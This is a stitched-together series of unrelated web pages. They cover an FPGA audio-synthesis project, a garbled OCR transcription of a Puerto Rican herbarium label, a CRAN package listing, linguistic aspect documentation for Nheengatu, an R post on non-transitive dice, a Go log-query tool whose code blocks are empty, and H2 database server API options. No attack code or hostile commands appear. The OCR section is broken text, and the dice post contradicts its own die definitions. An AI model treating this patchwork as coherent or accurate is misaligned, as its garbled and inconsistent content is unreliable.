SyFaLa
Synthétiseur Faible Latence sur FPGA
Low-Latency Synthesizer on FPGA
Synthétiseur Faible Latence sur FPGA
Low-Latency Synthesizer on FPGA
About SyFaLa
Overview
SyFaLa aims at facilitating the programming of FPGA platforms for real-time audio Digital Signal Processing applications through the use of the Faust programming language. This project gathers the strengths of GRAME-CNCM and CITI Lab at INSA Lyon and is funded by the Fédération Informatique de Lyon (FIL).
Background
Embedded systems for audio and multimedia are increasingly used in the arts and culture (e.g., interactive systems musical instruments, virtual and augmented reality, artistic creation tools, musical composition and performance, etc.). However, programming them can be out of reach of artists, creators, or non-specialized engineers. In parallel with the emergence of the "maker culture," progress have been made to make these types of systems more accessible, bringing more flexibility in digital approaches to artistic creation. Domain Specific programming Languages (DSL) such as Faust facilitated the implementation of real-time audio Digital Signal Processing (DSP) algorithms.
However, many limitations remain, especially for real-time applications where latency plays a crucial role (e.g., efficient active control of sound where audio processing should be faster than the propagation of sound, digital musical instruments playability, digital audio effects, etc.). While latency can be potentially reduced on "standard" computing platforms such as personal computers based on a CPU (Central Processing Unit), going under the "one millisecond threshold" is usually impossible due to buffering.
FPGAs (Field Programmable Gate Arrays) can help to solve this problem as well as most of the limitations of traditional computing platforms used for musical and artistic applications. These chips are known for their high computational capabilities and very low-latency performances. They also provide a large number of GPIOs (General Purpose Inputs and Outputs) which can be exploited to implement modern real-time multi-channel processing algorithms (e.g., sound fields capture using a very large number of digital microphones, active sound control over a large spatial region, etc.).
But FPGAs remain extremely complex to program, even with state-of-the-art high-level tools, making them largely inaccessible to musicians, digital artists and makers communities. FPGAs are configured/programmed using a Hardware Description Language (HDL) such as VHDL or Verilog. The learning curve and the electrical engineering skills required to master these types of environments make them out of reach of the real-time audio DSP community. Solutions exist to program FPGAs at a higher level (i.e., LabVIEW, Vivado HLS, etc.), but none of them is specifically dedicated nor adapted to real-time audio DSP.
The goal of Syfala is to design an FPGA-based platform for multichannel ultra-low-latency audio Digital Signal Processing programmable at a high-level with Faust and usable for various applications ranging from sound synthesis and processing to active sound control and artificial sound field/room acoustics.
Tools
The SyFaLa toolchain is freely accessible on GitHub: https://github.com/inria-emeraude/syfala.
Partners/Team
This project gathers the strengths of GRAME-CNCM and CITI Lab at INSA Lyon and is funded by the Fédération Informatique de Lyon (FIL).
GRAME-CNCM
Grame is a ``Centre National de Création Musicale'' (CNCM) organized in three departments: music production, transmission/mediation, and computer music research. Grame's research department has been leading the development of the Faust programming language since its creation in 2004. It has expertise in computer science (compilation), audio DSP, digital lutherie, HCI (Human Computer Interaction) in general, and music representation. Thanks to the proximity of all three departments at Grame, research outcomes can easily find their way to professional musical productions and be shared with a general public through the organization of workshops and tight collaborations with the French ministry of education.
CITI Lab
CITI is an academic laboratory associated with INSA Lyon and INRIA. The CITI Laboratory develops research activities bringing together computer science, networking, and digital communications to address the challenging issues related to the development of Internet. This world scale network offers a seamless communication path between heterogeneous nodes (persons, objects, sensors, phones, etc.) in an heterogeneous architecture including wireless access, offering mobility, ubiquity and adaptability. Cutting-edge technologies are expected in various fields to provide seamless, self-adaptive and secured solutions fitting with the specific constraints of many applicative frameworks. The full cross-layer expertise the CITI acquired during the past ten years makes it a very original, challenging and almost unique place in France.


×
Confirm Series Validation
Project:
Customer:
Is the series valid?
NO
YES
© 2019 DigiBP Team TICINO


?2
3
Confinnavit
Teguh
Triono,
2006
Australian
National
Herbarium
(CANB)
Seen
for
ÔA
phylogenetic
study
of
Pouteria
(Sapotaceae)
in
Malesia
and
Australasia
using
morphology
and
molecular
dataÕ.
Plants
of
Puerto
Rico
Herbarium,
Department
of
Biology
University
of
Puerto
Rico,
Mayaguez
Flora
of
Rio
Maricao
Maricao
Commonwealth
Forest
Yo/J^>
BOTANICAL
GARDE**,
<3>
IMAGED
NEW
YORK
BOTANICAL
GARDEN
ill;
111
0
1O078
85
Pouteria
multiflora
A.
DC.
SAPOTACEAE
MARICAO,
Bo.
Maricao
Afuera
Rfo
Maricao
margins.
Serpentinitic
soil.
18¡09Õ07ÓN,
66¡59Õ18ÓW,
elev.
480
m
Tree,
ca.
20
m
tall,
24
cm
DBH;
rough
scaly
brown
bark;
fruits
green
turning
yellow.
25
March
1995
Collector:
J.
A.
Cedeno
&
M.
E.
Marrero
499
Legend -
Level of confidence that token is an accurately-transcribed word
extremely low
very low
low
undetermined
medium
high
very high


Functions for drawing scene trees representing scenes that have been drawn using grid graphics.
| Version: | 0.5-0 |
| Depends: | R (≥ 3.0.0) |
| Imports: | methods, grid, graph, gridGraphviz, gridSVG (≥ 1.1) |
| Suggests: | lattice, ggplot2 |
| Published: | 2015-11-16 |
| Author: | Paul Murrell and Velvet Ly. |
| Maintainer: | Paul Murrell <p.murrell at auckland.ac.nz> |
| License: | GPL-2 | GPL-3 [expanded from: GPL (≥ 2)] |
| NeedsCompilation: | no |
| SystemRequirements: | graphviz |
| CRAN checks: | gridDebug results |
| Reference manual: | gridDebug.pdf |
| Package source: | gridDebug_0.5-0.tar.gz |
| Windows binaries: | r-devel: gridDebug_0.5-0.zip, r-release: gridDebug_0.5-0.zip, r-oldrel: gridDebug_0.5-0.zip |
| OS X binaries: | r-release: gridDebug_0.5-0.tgz, r-oldrel: gridDebug_0.5-0.tgz |
| Old sources: | gridDebug archive |
Please use the canonical form https://CRAN.R-project.org/package=gridDebug to link to this page.


8 Ijebu - Ode Crescent, Agbara Industrial Estate
<EMAIL_ADDRESS>+234-8052797200
HR / HRM FUNCTIONS
Recruitment and selection. We take time and planning to attract and recruit highly talented employees. ...
Train and Develop. ...
Company Brand and Culture.
Care about Performance Management, Succession Planning; Compensation and Benefit ...Compliance and Legal.
Industrial Spare Parts supply (ISPS)
Raw and Packaging material supply and services (R & PMSS)
Project Management and Consulting (PM & C)
Manpower Recruitment, Training and Development Services – (MRTDS)
Industrial Mixing Services (IMS)
Sales and Services (S & S)
(IIEC / M & I)
Industrial Instrumentation and Equipment Calibration, Maintenance and Improvement Services


Aspect
: aspect
| Values: | Hab | Imp | Iter | Perf | Prog | Prosp | Frus | Freq | Freq |
Cross-linguistically, aspect is typically a feature of verbs. In Nheengatu, it also occurs with other parts of speech, e.g., nouns, subordinating conjunctions, adverbs, and specially particles.
Aspect is a feature that specifies duration of the action in time, whether the action has been completed etc. In some languages (e.g. English), some tenses are actually combinations of tense and aspect. In other languages (e.g. Czech), aspect and tense are separate, although not completely independent of each other.
In Czech and other Slavic languages, aspect is a lexical feature. Pairs of imperfective and perfective verbs exist and are often morphologically related but the space is highly irregular and the verbs are considered to belong to separate lemmas.
Imp
: imperfect aspect
The action took / takes / will take some time span and there is no information whether and when it was / will be completed.
Examples
- [cs] péci “to bake” (Imp); pekl chleba “he baked / was baking a bread”
Perf
: perfect aspect
The action has been / will have been completed. Since there is emphasis on one point on the time scale (the point of completion), this aspect does not work well with the present tense. For example, Czech morphology can create present forms of perfective verbs but these actually have a future meaning.
Examples
- [cs] upéci “to bake” (Perf); upekl chleba “he baked / has baked a bread”
Prosp
: prospective aspect
In general, prospective aspect can be described as relative future: the action is/was/will be expected to take place at a moment that follows the reference point; the reference point itself can be in past, present or future. In the English sentence When I got home yesterday, John called and said he would arrive soon, the last clause (he would arrive soon) is in prospective aspect. Nevertheless, English does not have overt affixal morphemes dedicated to the prospective aspect, and we do not need the label in English. But other languages do; the -ko suffix in Basque is an example.
Note that this value was called Pro
in UD v1 and it has been renamed Prosp
in UD v2.
Examples
- [eu] Liburua irakurriko behar du. lit. book-a read-Prosp must AUX “He must go to read a book.”
Prog
: progressive aspect
English progressive tenses (I am eating, I have been doing …) have this aspect. They are constructed analytically (auxiliary + present participle) but the -ing participle is so bound to progressive meaning that it seems a good idea to annotate it with this feature (we have to distinguish it from the past participle somehow; we may use both the “Tense” and the “Aspect” features).
In languages other than English, the progressive meaning may be expressed by morphemes bound to the main verb, which makes this value even more justified. Example is Turkish with its two distinct progressive morphemes, -yor and -mekte.
Examples
- [tr] eve gidiyor “she is going home (now)”
- [tr] eve gitmekte “she is going home (now)”
- [tr] eve gidiyordu “she was going home (when I saw her)”
- [tr] eve gimekteydi “she was going home (when I saw her)”
Hab
: habitual aspect
English simple present has this aspect.
Examples
- [en] he attends classes of Japanese
Iter
: iterative / frequentative aspect
Denotes repeated action. Attested e.g. in Hungarian.
Iteratives also exist in Czech with this name but their meaning is rather habitual.
They can be formed
only from imperfective verbs and they are usually not classified as a separate
aspect; they are just Aspect=Imp.
Note: This value is new in UD v2 but a similar value has been used in UD v1
as language-specific for Hungarian, though it was called frequentative there
(Freq
).
Examples
- [hu] üt “hit”, ütöget “hit several times”
Frus
: frustative aspect
“Frustrative is a grammatical marker that expresses the non-realization of some expected outcome implied by the proposition expressed in the marked clause.” (Overall 2017)
“The frustrative is a functional element found in a number of languages which expresses, in its typical use, that an action did not have its intended consequences […]” (Salanova)
‘The frustrative particle in Kimaragang marks unrealized expectations or intentions, counter-actuals, etc.” (Kroeger 2017)
References
Kroeger, Paul. 2017. Frustration, culmination, and inertia in Kimaragang grammar. Glossa: a journal of general linguistics 2(1): 56. 1–29, DOI: https://doi.org/10.5334/gjgl.146
Overall, S. (2017). A Typology of Frustrative Marking in Amazonian Languages. In A. Aikhenvald & R. Dixon (Eds.), The Cambridge Handbook of Linguistic Typology (Cambridge Handbooks in Language and Linguistics, pp. 477-512). Cambridge: Cambridge University Press. doi:10.1017/9781316135716.015
Salanova, Andrés Pablo. A semantics for frustratives. https://www.mcgill.ca/linguistics/files/linguistics/a_semantics_for_frustratives.pdf
Examples
Examples cited by Avila (2021) (our English translations):
- [yrl] Indé rewewé yepé kutara […] “You were flying fast in vain […]” (Casasnovas, 93)
- [yrl] Apurakí-putari yepé, ixé se maraari. “I wanted to work, but I’m tired.” (Magalhães, 96, adap.)
Freq
: frequentative aspect
The frequentative aspect is marked in Nheengatu with the suffixes -wara and -wera. These suffixes attach to verbs or nouns, adverbs, etc. conveying the clause predicate, see Avila (2021, p. 809-810 and p. 824-825). They express that a state or event holds on continually or occurs repeatedly with a very high frequency. While -wara applies to predicates denoting present events, -wera specify that the event is located in the past. Typically, -wara translates as always in English.
References
van Geenhoven, Veerle. 2005. Atelicity, pluractionality, and adverbial quantification. In H. J. Verkuyl, H. de Swart & A. van Ho out (Eds.), Perspectives on Aspect (Studies In Theoretical Psycholinguistics, pp. 107-124). Dordrecht: Springer.
Examples
Examples cited by Avila (2021) (our English translations):
- [yrl] Ikewara aikú, reyuri ramé, resika se piri. “I’m always here, when you come, come visit me.”
- [yrl] Amanduariwara ne resé. “I always remember you.”
- [yrl] Ixé se rukawara aikú, ti xinga asemu kwá suí. “I’m always at home, I hardly leave here.”
- [yrl] Ta upukawera tẽ paá, ma ti ta umaã tá resé. “They actually laughed, but didn’t look at them.”
Compl
: completive aspect
Following Avila (2021, p. 586), the completive aspect is marked in Nheengatu with the particle pawa (often reduced to páu or pá), which Cruz (2011, p. 396) analyses as incorporation of the homonymous verb meaning ‘to finish’. The completive aspect indicates “that an action has been performed thoroughly or to completion” (Bybee; Perkins; Pagliuca, 1994, p. 18). Nheengatu sentences with the completive aspect often correspond to English translation equivalents with adverbs such as “completely”. In other situations, completion of the event expressed by the clause main predicate denotes involvement of all members of a plural group referred to by the subject in case of an intransitive verb or the object in case of a transitive verb (Bybee; Perkins; Pagliuca, 1994, p. 57).
References
Bybee, J., Perkins, R., Pagliuca, W. 1994. The evolution of grammar: tense, aspect, and modality in the languages of the world. Chicago: Univesity of Chicago Press.
Examples
Examples cited by Avila (2021) (our English translations):
- [yrl] Usú pawa, ti ana umanduári umunhã aintá ruka. “They all go, they no longer remember to make their houses.”
- [yrl] Ape Pirá-itá Manha umukanhemu pawa aintá suí maã uxari waá kwera aintá supé. “Then the Mother of Fishes made disappear everything she had given them.”
- [yrl] Remaã yuíri mayé ií umuyasuka pawa se awa-itá pixunasawa! “See also how the water washed away all the blackness from my hair!”
- [yrl] Pepuri pawa paraná upé. “Everyone jump into the river.”
- [yrl] Uka aíwa ukukúi pá wã. “The old house has already completely collapsed.”
Aspect in other languages: [arr] [bej] [bg] [bm] [cs] [el] [eme] [ga] [gn] [gub] [hu] [hy] [hyw] [jaa] [ky] [la] [mdf] [myu] [myv] [pcm] [qpm] [ru] [say] [sl] [tpn] [tr] [tt] [u] [uk] [urb] [urj] [yrl]


---
layout: post
title: CPSX Spotlight Shines on Crow Emily
date: '2013-05-09T12:22:00.000-04:00'
author: Robert Sica
tags:
- CANDAC
- Eureka
- lidar
- westernu
- cpsx
modified_time: '2013-08-01T12:23:52.911-04:00'
blogger_id: tag:blogger.com,1999:blog-736339229338318027.post-2775701442630831760
blogger_orig_url: http://blog.purplecrowlidar.ca/2013/05/cpsx-spotlight-shines-on-crow-emily.html
---
CPSX Spotlight: PhD Candidate Emily McCullough
The Centre for Planetary and Space Exploration @westernu puts the spotlight on Crow Emily @uwophysastro. Is she really going to the North Pole every winter to look for Santa? Click the link above for the rest of the story.


--- title: Non-transitive dice author: "Felix Thoemmes" date: '2017-07-24' output: pdf_document slug: '' tags: statistics categories: statistics ---
About ten years ago I bought myself a set of non-transitive dice. I have occasionally used them in class, but I am afraid that I am more excited about these dice than the average student.  If this sounds complicated, just think of rock-paper-scissors, but with dice.
This particular set of dice has a blue, green, and red die. The blue one has all 3s on it, and one 6. The red one is all 4s, but has one 1, and the green one is an even mix of 2s and 5s. They all have the exact same expected value, which is 3.5. Rolling them in R (code at the end of this post) a couple of thousands of times results in the following, obvious distributions for each die.
For something simple like this, we didn’t really need to simulate. We can easily see that the e.g., the blue die will have probabilities of \(5/6\) and \(1/6\) to come up 3, or 6, respectively.
The interesting part now becomes when we consider two dices thrown at the same time. Let’s consider first the blue and the green one. There are only four possible outcomes, the blue one comes up 3, and the green up comes up either 1 or 4, or the blue one comes up 6, and the green one comes up again either 1 or 4. Each of these joint probabilities can be derived easily, because the throws of the different dice are independent. For example, the probability of blue being 3 and green being 4 is \(5/6^2\), so approximately 69%. The plot below shows probabilties of the four possible outcomes, and also color-codes the winner of each constellation. We can clearly see that the green die has a tremendous edge over the blue one. So if faced with the choice of either picking the blue or the green die, you would want to go with the green one.
But how does the (previously) losing blue die fare against the red? Let’s repeat this exercise, and have a look at the plot below. Now we find that the blue one has a slight edge against the red one. It’s not as extreme as in the previous case, but it’s there, and in the long run, you would win with the blue die over the red one. At this point we may think that the green die is the best, followed by the blue, and the red one is the worst.
But let’s compare how the red one does against the green one (that previously defeated the blue one). It turns out that the red one now has a slight edge against the green one. The edge is as big as in the previous case, but smaller than in the first scenario. And there we have it, the non-transitive nature of the three dices.
Finally, let’s consider a different type of game.  We now need to consider three (independent) events happening. For example, the green die coming up 5 (\(1/2\)), the red one coming up 1 (\(1/6\)), and the blue one coming up 6 (\(1/6\)). The joint probability of this happening is just the product of all three probabilities, which in this case is about 1%. If we do this for all possible 8 outcomes, we get the following plot.
And here we see that the red die is in fact the best of all three dice with an average probability of winning of around 42%. Compared with the blue one which has a dismal 23%, and the green one with 35%. In the game with two players, it pays to be the last to pick a die, but in the game with three players, it’s beneficial to be the first to pick - in this case pick the red one.
library(plyr)
library(broom)
library(ggplot2)
library(ggthemes)
library(magrittr)
library(dplyr)
library(tidyr)
dices <- function() {
blue <- sample(c(3,3,3,3,3,6),1)
red <- sample(c(4,4,4,4,4,1),1)
green <- sample(c(2,2,2,5,5,5),1)
d <- c(blue,green,red)
return(d)
}
res <- data.frame(raply(100000,dices))
names(res) <- c("blue","red","green")
round(prop.table(table(res$blue)),2) %>% tidy() %>%
ggplot() + geom_bar(aes(weight=Freq, x=Var1),fill="dodgerblue",alpha=.9) + ggtitle("Blue\n") +
xlab("") + ylab("") +
theme_economist_white() +
theme(axis.text.x = element_text(face="bold", color="dodgerblue",size=18),
axis.text.y = element_text(size=12))
round(prop.table(table(res$gree)),2) %>% tidy() %>%
ggplot() + geom_bar(aes(weight=Freq, x=Var1),fill="darkgreen",alpha=.9) + ggtitle("Green\n") +
xlab("") + ylab("") +
theme_economist_white() +
theme(axis.text.x = element_text(face="bold", color="darkgreen",size=18),
axis.text.y = element_text(size=12))
round(prop.table(table(res$red)),2) %>% tidy() %>%
ggplot() + geom_bar(aes(weight=Freq, x=Var1),fill="red2",alpha=.9) + ggtitle("Red\n") +
xlab("") + ylab("") +
theme_economist_white() +
theme(axis.text.x = element_text(face="bold", color="red2",size=18),
axis.text.y = element_text(size=12))
round(prop.table(table(res$blue,res$green)),2) %>% tidy() %>%
ggplot(aes(Var1, Var2)) +
geom_point(aes(size = Freq), alpha=.9, color=c("dodgerblue","dodgerblue","darkgreen","dodgerblue"), show.legend=FALSE) +
geom_text(aes(label = Freq), color="white") +
scale_size(range = c(15,50)) + ggtitle("Blue vs. Green\n") +
xlab("") + ylab("") +
theme_economist_white()+
theme(axis.text.x = element_text(face="bold", color="dodgerblue",size=18),
axis.text.y = element_text(face="bold", color="darkgreen",size=18))
round(prop.table(table(res$blue,res$red)),2) %>% tidy() %>%
ggplot(aes(Var1, Var2)) +
geom_point(aes(size = Freq), alpha=0.9, color=c("dodgerblue","dodgerblue","red2","dodgerblue"), show.legend=FALSE) +
geom_text(aes(label = Freq), color="white") +
scale_size(range = c(15,50)) + ggtitle("Blue vs. Red\n") +
xlab("") + ylab("") +
theme_economist_white()+
theme(axis.text.x = element_text(face="bold", color="dodgerblue",size=18),
axis.text.y = element_text(face="bold", color="red2",size=18))
round(prop.table(table(res$red,res$green)),2) %>% tidy() %>%
ggplot(aes(Var1, Var2)) +
geom_point(aes(size = Freq), alpha=0.9, color=c("red2","red2","darkgreen","red2"), show.legend=FALSE) +
geom_text(aes(label = Freq), color="white") +
scale_size(range = c(15,50)) + ggtitle("Red vs. Green\n") +
xlab("") + ylab("") +
theme_economist_white()+
theme(axis.text.x = element_text(face="bold", color="red2",size=18),
axis.text.y = element_text(face="bold", color="darkgreen",size=18))
round(prop.table(table(res$red,res$green,res$blue)),2) %>% tidy() %>%
ggplot(aes(Var1, Var2)) +
geom_point(aes(size = Freq), alpha=0.9, color=c("dodgerblue","red2","darkgreen","red2","dodgerblue","dodgerblue","dodgerblue","dodgerblue"), show.legend=FALSE) +
geom_text(aes(label = Freq), color="white") +
scale_size(range = c(15,50)) + ggtitle("Red vs. Green vs. Blue\n") +
xlab("") + ylab("") +
theme_economist_white()+
theme(axis.text.x = element_text(face="bold", color="darkgreen",size=18),
axis.text.y = element_text(face="bold", color="red2",size=18)) +
facet_wrap(~Var3) +
theme(strip.text = element_text(color = 'dodgerblue',face="bold",size=18))


About Us
Who are we?
The Computer Science Club at Mahindra Ecole Centrale is a student-run organization affiliated with the Computer Science and Engineering Department which provides learning, networking, and career opportunities to the members of Enigma.
We are an organization dedicated to providing MEC students with a tight-knit community of friends and mentors to promote and advocate computer science and working with tech. Community events include study breaks, social outings, and meet and greets between different classes. We also provide many professional resources for members including company-sponsored informational and networking events, resume review and algorithm challenge sessions, study breaks, social outings, and tech workshops. Two of our most popular initiatives are WeeklySessions and HackWeek. No membership fee or annual dues.
Our club faculty advisor is Prof. Prafulla Kalapatapu.
Our Mission
Our mission is to create a community of mentors and friends and partner with companies to provide the best resources for students to explore computer science and software. We hope you’ll join us during the school year and join our community! If you want to learn more, feel free to message this year’s president - Rahul Kumaran; vice-president - Rochan Avlur or secretary - Raghav NS.
Sounds Interesting?
First things first: send an email up for our club mailing list. We use it to announce club events, job opportunities, and other computer science-related happenings.
Also, we have a Discord server for general CS-related questions and discussion. If you want to reach out to alumni, ask curriculum related questions, or talk about rad hackathon projects, please join! Sign up here.
While you’re here, be sure to check out our past projects and other events/blog posts we have coming up.
Finally, if you have any suggestions for cool things for the club to do (whether for career development or just something fun), then please contact us!


WebVR India
Home
Getting Started
Community
Tools
Blog
About
Scenes
What is WebVR?
WebVR is a JavaScript API for creating immersive 3D, Virtual Reality experiences in your browser.
#WebVRIndia Tweets


v3.76 29 September 2018
DROP Transaction Cost Library is a component of the DROP Asset Allocation Module. It is composed of:
- Transaction Cost Model Library
Transaction Cost Library Features
Execution Cost and Transaction Trajectories
- Motivation and Practice Overview
- Post-Trade Reporting
- Optimal Trading
- Pre-Trade Cost Estimation
- References
Execution of Portfolio Transactions - Optimal Trajectory
- Overview, Scope, and Key Results
- Motivation, Background, and Synopsys
- The Definition of a Trading Strategy
- Price Dynamics
- Temporary Market Impact
- Capture and Cost of Trading Trajectories
- Linear Impact Functions
- The Definition of the Frontier
- Explicit Construction of Optimal Strategies
- The Half-Life of a Trade
- Structure of the Frontier
- The Utility Function
- Value at Risk
- The Role of Utility in Execution
- Choice of Parameters
- The Value of Information
- Drift
- Gain due to Drift
- Serial Correlation
- Parameter Shifts
- Conclusions and Further Extensions
- Numerical Optimal Trajectory Generation
- References
Non-linear Impact and Trading Enhanced Risk
- Abstract
- Introduction
- The Model
- Non-linear Cost Functions
- Objective Function
- Almgren (2003) Example
- Trading Enhanced Risk
- Constant Enhanced Risk
- Linear Enhanced Risk
- Almgren (2003) Non-linear Example Sample
- Conclusion: Summary and Extensions
- References
Market Impact Function/Parameters Estimation
- Introduction, Overview, and Background
- Data Description and Filtering Rules
- Data Model - Variables
- Trajectory Cost Model
- Permanent Impact
- Temporary Impact
- Choice of the Functional Form
- Cross-Sectional Description
- Model Determination
- Determination of the Coefficients
- Residual Analysis
- References
Optimal Execution of Program Trades
- Introduction
- Efficient Frontier Pricing of Program Trades
- The Efficient Frontier including Discount
- Performance Measures
- Annualization
- Definition of the Information Ratio
- Application of the Information Ratio
- References
Bayesian Trading with a Daily Trend
- Overview, Motivation, and Synopsys
- Introduction and Associated Literature
- Price Model Using Bayesian Update
- Bayesian Inference
- Trading and Price Impact
- Optimal Trading Strategies
- Trajectory by Calculus of Variations
- Optimality of the Bayesian Adaptive Strategy
- Stochastic Optimal Control Treatment
- References
Cost Adaptive Arrival Price Trading
- Synopsys and Key Results
- Introduction, Background, and Motivation
- Adaptive Strategies - A Simple Illustration
- Trading in Practice
- Other Adaptive Strategies
- The Market Model
- Static Trajectories
- Non-dimensionalization
- Small Portfolio Limit
- Portfolio Comparison
- Single Update
- Single Update Mean and Variance
- Almgren and Lorenz (2007) Results
- Continuous Response
- Continuous Response Numerical Results
- Discussion and Conclusions
- References
Mean Variance Optimal Adaptive Execution
- Background, Synopsys, and Key Results
- References
Optimal Trading in a Dynamic Market
- Introduction, Overview, and Motivation
- Limitations of Arrival Price Frameworks
- The Liquidation Problem
- Cost of Trading
- Constant Coefficients
- Co-ordinated Variation
- Rolling Time Horizon Approximate Strategy
- Small Impact Approximation
- Dynamic Programming - Fully Co-ordinated Version
- Log-Normal Model and Non-dimensionalization
- Constant Market
- Long Time
- Dynamic Programming - Custom Eta and Sigma
- Log-Normal Model
- Co-ordinated Variation
- Asymptotic Behavior
- Numerical Solution
- Time Discretization
- Space Discretization
- Almgren (2009, 2012) Sample Solutions
- References
Licence
Apache 2.0
Contact
lakshmidrip7977@gmail.com


Hypothetical Art Store
Super cool tagline will go here
Under Construction
Our website will be live in
4 years, 3 months, and 2 days


This article is about the Virgo Supercluster
The Virgo Supercluster (Virgo SC) or the Local Supercluster (LSC or LS) is a mass concentration of galaxies that contains the Virgo Cluster in addition
to the Local Group, which in turn contains the Milky Way and Andromeda Galaxy. At least 100 galaxy groups and clusters are located within its diameter
of 33 megaparsecs (110 million light-years). It is one of millions of superclusters in the observable universe.
Virgo Supercluster
Background
Beginning with the first large sample of nebulae published by William and John Herschel in 1863, it was known that there is a marked excess of nebular
fields in the constellation Virgo (near the north galactic pole). In the 1950s, French-American astronomer Gerard Henri de Vaucouleurs was the first
to argue that this excess represented a large-scale galaxy-like structure, coining the term "Local Supergalaxy" in 1953 which he changed to "Local
Supercluster" in 1958. (Harlow Shapley, in his 1959 book Of Stars and Men, suggested the term Metagalaxy.) Debate went on during the
1960s and 1970s as to whether the Local Supercluster (LS) was actually a structure or a chance alignment of galaxies. The issue was resolved with
the large redshift surveys of the late 1970s and early 1980s, which convincingly showed the flattened concentration of galaxies along the
supergalactic plane.
Structure
In a comprehensive 1982 paper, R. Brent Tully presented the conclusions of his research concerning the basic structure of the LS. It consists of two
components: an appreciably flattened disk containing two-thirds of the supercluster's luminous galaxies, and a roughly spherical halo containing the
remaining one-third. The disk itself is a thin ellipsoid with a long axis / short axis ratio of at least 6 to 1, and possibly as high as
9 to 1. Data released in June 2003 from the 5-year Two-degree-Field Galaxy Redshift Survey (2dF) has allowed astronomers to compare the LS to
other superclusters. The LS represents a typical poor (that is, lacking a high density core) supercluster of rather small size. It has one rich galaxy
cluster in the center, surrounded by filaments of galaxies and poor groups. The Local Group is located on the outskirts of the LS in a small filament
extending from the Fornax Cluster to the Virgo Cluster. The Virgo Supercluster's volume is very approximately 7000 times that of the Local Group
or 100 billion times that of the Milky Way. See volumes of similar orders of magnitude.
Galaxy distribution
The number density of galaxies in the LS falls off with the square of the distance from its center near the Virgo Cluster, suggesting that
this cluster is not randomly located. Overall, the vast majority of the luminous galaxies (greater than absolute magnitude -13) are concentrated
in a small number of clouds (groups of galaxy clusters). Ninety-eight percent can be found in the following 11 clouds (given in decreasing order
of number of luminous galaxies): Canes Venatici, Virgo Cluster, Virgo II (southern extension), Leo II, Virgo III, Crater (NGC 3672), Leo I, Leo
Minor (NGC 2841), Draco (NGC 5907), Antlia (NGC 2997) and NGC 5643. Of the luminous galaxies located in the disk, one third are in the Virgo Cluster,
while the remainder are found in the Canes Venatici Cloud and Virgo II Cloud, plus the somewhat insignificant NGC 5643 Group.


Like most operations teams, at SRC:CLR we’re offloading our logs to an aggregated log solution. We use the popular ELK (Elasticsearch, Logstash, Kibana). I love this solution but when it comes to simply copying and pasting log data from Kibana things get messy. When our developers need to get data quickly it would be easier to have a CLI utility that can do the same queries than having to open a browser and screen grab from Kibana.
Logasaurus runs in realtime just like Kibana on similar searches. This is great if your workflow is primarily in the console and you’re using Kibana mainly for query operations. You can use your tmux copy/paste shortcuts to grab data quickly. Queries are just as fast.
Logasuarous was written in Go, so it’s performant and lightweight.
How it works
First, download and build the go binary:
1 2 3 |
|
Configure the config.yaml:
1
|
|
Update your Elasticsearch URI, and add some service abstractions to the ‘define’ section.
Execute your first query:
1
|
|
Add some queries to config.yaml
You can store long, hard to type queries in the config.yaml for use later:
1 2 3 4 5 6 |
|
1
|
|
Do a defined query on the CLI
If you need to run a lookup quickly you can do a defined query directly on the CLI:
1 2 3 4 5 6 7 |
|
Want to know what host the log message is coming from?
You can use -h
to highlight the hostname/ip address at the beginning of the line:
1 2 3 4 5 6 |
|
Change sync window
By default Loga will querey time.Now() minus 10 minutes, and return those logs up to 500 queries. You can change start time with -st
, and start time.Now() minutes back.
To query logs 24 hours ago in a 10 minute window you could run:
1 2 3 4 5 6 7 8 9 10 |
|
Override the sync and depth interval
Sync interval = time in seconds to refresh the logs. Default: 5 seconds. Sync depth = time in minutes to go back in the ES datastore. Default: 10 minutes.
1
|
|
^^ Queries logs from the last 1 minute, refreshing every 10 seconds.
Something is broken
1
|
|
Closing Thoughts
We love Kibana but sometimes it’s just faster to have a CLI utility to do the mundane things. We really like this tool and we hope you will to. If you have any suggestions please reach out jeff at srcclr dot com.
Visit Logasaurus on github.com for complete details.


Aren’t you just bored with all those impress-based presentations?
Don’t you think that presentations given in modern browsers shouldn’t copy the limits of ‘classic’ css transitions?
Would you like to impress your audience with stunning visualization of your talk?
then you should try
It’s a presentation tool
with the framework of impress.js
and extended by the power of three.js.
visualize your big thoughts
by positioning, rotating and scaling anything on an infinite canvas
the only limit is your imagination


Monitor App
Subscribers
AppSettings
Test Management
Run Tests
Test Bucket
Reports
User
Profile
Logout
1
Select Environment
2
Select Test Bucket & Finalize
Execution Name
Testing Environment
Select Testing Environment
Internet Explorer
Schedule Tests
hh:mm
BACK
NEXT


Follow these steps to build custom LEAN Docker images using the CLI:
git
or download and extract the latest master branch archive.lean build .
to build the foundation image, compile LEAN, build the engine image, and build the research image.
$ lean build . Building 'lean-cli/foundation:latest' from '/home/johndoe/Lean/DockerfileLeanFoundation' Compiling the C# code in '/home/johndoe/Lean' Building 'lean-cli/engine:latest' from '/home/johndoe/Lean/Dockerfile' using 'lean-cli/foundation:latest' as base image Building 'lean-cli/research:latest' from '/home/johndoe/Lean/DockerfileJupyter' using 'lean-cli/engine:latest' as base image Setting default engine image to 'lean-cli/engine:latest' Setting default research image to 'lean-cli/research:latest'


Server
Starts the H2 Console (web-) server, TCP, and PG server.
| Methods |
| static Server |
createPgServer(String... args)
Create a new PG server, but does not start it yet.
|
| static Server |
createPgServer(String... args) throws SQLException
Create a new PG server, but does not start it yet.
Example:
Server server =
Server.createPgServer("-pgAllowOthers").start();
Parameters:
args - the argument list
Returns:
the server
|
| static Server |
createTcpServer(String... args)
Create a new TCP server, but does not start it yet.
|
| static Server |
createTcpServer(String... args) throws SQLException
Create a new TCP server, but does not start it yet. Example:
Server server = Server.createTcpServer(
new String[] { "-tcpPort", "9123", "-tcpAllowOthers" }).start();
Parameters:
args - the argument list
Returns:
the server
|
| static Server |
createWebServer(String... args)
Create a new web server, but does not start it yet.
|
| static Server |
createWebServer(String... args) throws SQLException
Create a new web server, but does not start it yet. Example:
Server server = Server.createWebServer(
new String[] { "-trace" }).start();
Parameters:
args - the argument list
Returns:
the server
|
| static void |
main(String... args)
When running without options, -tcp, -web, -browser and -pg are started.
|
| static void |
main(String... args) throws SQLException
When running without options, -tcp, -web, -browser and -pg are started.
Options are case sensitive. Supported options are:
| [-help] or [-?] |
Print the list of options |
| [-web] |
Start the web server with the H2 Console |
| [-webAllowOthers] |
Allow other computers to connect - see below |
| [-webDaemon] |
Use a daemon thread |
| [-webPort <port>] |
The port (default: 8082) |
| [-webSSL] |
Use encrypted (HTTPS) connections |
| [-browser] |
Start a browser connecting to the web server |
